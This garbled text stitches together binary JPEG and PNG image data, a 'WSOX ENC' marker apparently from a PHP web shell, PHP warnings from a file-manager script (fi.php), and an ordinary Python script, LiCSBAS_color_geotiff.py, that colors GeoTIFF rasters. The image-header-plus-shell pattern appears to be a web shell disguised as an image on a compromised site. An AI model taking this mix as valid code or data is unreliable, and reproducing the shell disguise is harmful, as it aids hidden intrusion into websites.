1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
#!/usr/bin/env python3 """ v1.4 20210205 Yu Morishita, GSI ======== Overview ======== This script creates a colored GeoTIFF from a data GeoTIFF. ===== Usage ===== LiCSBAS_color_geotiff.py -i infile [-c cmap] [-o outfile] [--cmin float] [--cmax float] [--n_color int] [--no_colorbar] -i Input data GeoTIFF file -c Colormap name (Default: SCM.roma_r, reverse of SCM.roma) Available colormaps (all cmap can be reversed with "_r"): - Matplotlib predefined name (e.g. viridis) https://matplotlib.org/tutorials/colors/colormaps.html - Scientific colour maps (e.g. SCM.roma) http://www.fabiocrameri.ch/colourmaps.php - Generic Mapping Tools (e.g. GMT.polar) https://docs.generic-mapping-tools.org/dev/cookbook/cpts.html - cmocean (e.g. cmocean.phase) https://matplotlib.org/cmocean/ - colorcet (e.g. colorcet.CET_C1) https://colorcet.holoviz.org/ - cm_insar (GAMMA standard rainbow color for wrapped phase) - cm_isce (ISCE standard rainbow color for wrapped phase) -o Output colored GeoTIFF file (Default: [infile%.tif].cmap_cmin_cmax.tif) --cmin|cmax Min|max values of color (Default: None (auto)) --n_color Number of rgb quantization levels (Default: 256) --no_colorbar Do not create colorbar image (name: cmap_cmin_cmax.pdf) """ #%% Change log ''' v1.4 20210205 Yu Morishita, GSI - More cmap available v1.3 20200904 Yu Morishita, GSI - Avoid segmentation fault v1.2 20200827 Yu Morishita, GSI - Update for matplotlib >= 3.3 v1.1 20200703 Yu Morishita, GSI - Bug fix for using SCM without _r v1.0 20200409 Yu Morishita, GSI - Original implementationf ''' #%% Import import getopt import os import sys #import gdal # may cause segmentation fault in savefig? import time import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import LiCSBAS_tools_lib as tools_lib from osgeo import gdal class Usage(Exception): """Usage context manager""" def __init__(self, msg): self.msg = msg #%% Main ## Not use def main to use global valuables if __name__ == "__main__": argv = sys.argv start = time.time() ver=1.4; date=20210205; author="Y. Morishita" print("\n{} ver{} {} {}".format(os.path.basename(argv[0]), ver, date, author), flush=True) print("{} {}".format(os.path.basename(argv[0]), ' '.join(argv[1:])), flush=True) #%% Set default infile = [] cmap_name = "cmc.roma_r" outfile = [] nodata = np.nan cmin = None cmax = None n_color = 256 cbar_flag = True gdal_option = ['COMPRESS=DEFLATE'] #%% Read options try: try: opts, args = getopt.getopt(argv[1:], "hi:c:o:", ["help", "cmin=", "cmax=", "n_color=", "no_colorbar"]) except getopt.error as msg: raise Usage(msg) for o, a in opts: if o == '-h' or o == '--help': print(__doc__) sys.exit(0) elif o == '-i': infile = a elif o == '-c': cmap_name = a elif o == '-o': outfile = a elif o == '--nodata': nodata = float(a) elif o == '--cmin': cmin = float(a) elif o == '--cmax': cmax = float(a) elif o == '--n_color': n_color = int(a) elif o == '--no_colorbar': cbar_flag = False if not infile: raise Usage('No input file given, -i is not optional!') elif not os.path.exists(infile): raise Usage('No {} exists!'.format(infile)) except Usage as err: print("\nERROR:", file=sys.stderr, end='') print(" "+str(err.msg), file=sys.stderr) print("\nFor help, use -h or --help.\n", file=sys.stderr) sys.exit(2) #%% Set cmap cmap = tools_lib.get_cmap(cmap_name, n_color) #%% Set color range ### Auto if cmin is None: cmin = gdal.Info(infile, computeMinMax=True, format="json")["bands"][0]['computedMin'] if cmax is None: cmax = gdal.Info(infile, computeMinMax=True, format="json")["bands"][0]['computedMax'] ### float -> int if int if np.mod(cmin, 1) == 0: cmin = int(cmin) if np.mod(cmax, 1) == 0: cmax = int(cmax) #%% Set file name if not outfile: outfile = infile.replace('.tif', '.{}_{}_{}.tif'.format(cmap_name, cmin, cmax)) #%% Create color table ### Format: value R G B alpha colorfile = '{}_{}_{}.txt'.format(cmap_name, cmin, cmax) cmap_RGB = np.int16(np.round(cmap(np.linspace(0, 1, n_color))*255)) with open(colorfile, "w") as f: for i in range(n_color): print("{} {} {} {} 255".format(cmin+i*(cmax-cmin)/(n_color-1), cmap_RGB[i, 0], cmap_RGB[i, 1], cmap_RGB[i, 2]), file=f) print("nv 0 0 0 0", file=f) #%% gdal dem gdal.DEMProcessing(outfile, infile, "color-relief", colorFilename=colorfile, format="GTiff", creationOptions=gdal_option, addAlpha=4) #%% colorbar. Move before import gdal to avoid segmentation fault if cbar_flag: fig, ax = plt.subplots(figsize=(3, 1)) norm = mpl.colors.Normalize(cmin, cmax) mpl.colorbar.ColorbarBase(ax, cmap=cmap, norm=norm, orientation='horizontal') cbarfile = "{}_{}_{}.pdf".format(cmap_name, cmin, cmax) plt.tight_layout() plt.savefig(cbarfile, transparent=True) plt.close() #%% Remove intermediate files os.remove(colorfile) #%% Finish elapsed_time = time.time()-start hour = int(elapsed_time/3600) minite = int(np.mod((elapsed_time/60),60)) sec = int(np.mod(elapsed_time,60)) print("\nElapsed time: {0:02}h {1:02}m {2:02}s".format(hour,minite,sec)) print('\n{} Successfully finished!!\n'.format(os.path.basename(argv[0]))) print('Output: {}'.format(outfile), flush=True) if cbar_flag: print(' {}'.format(cbarfile), flush=True) print('') sys.exit(0)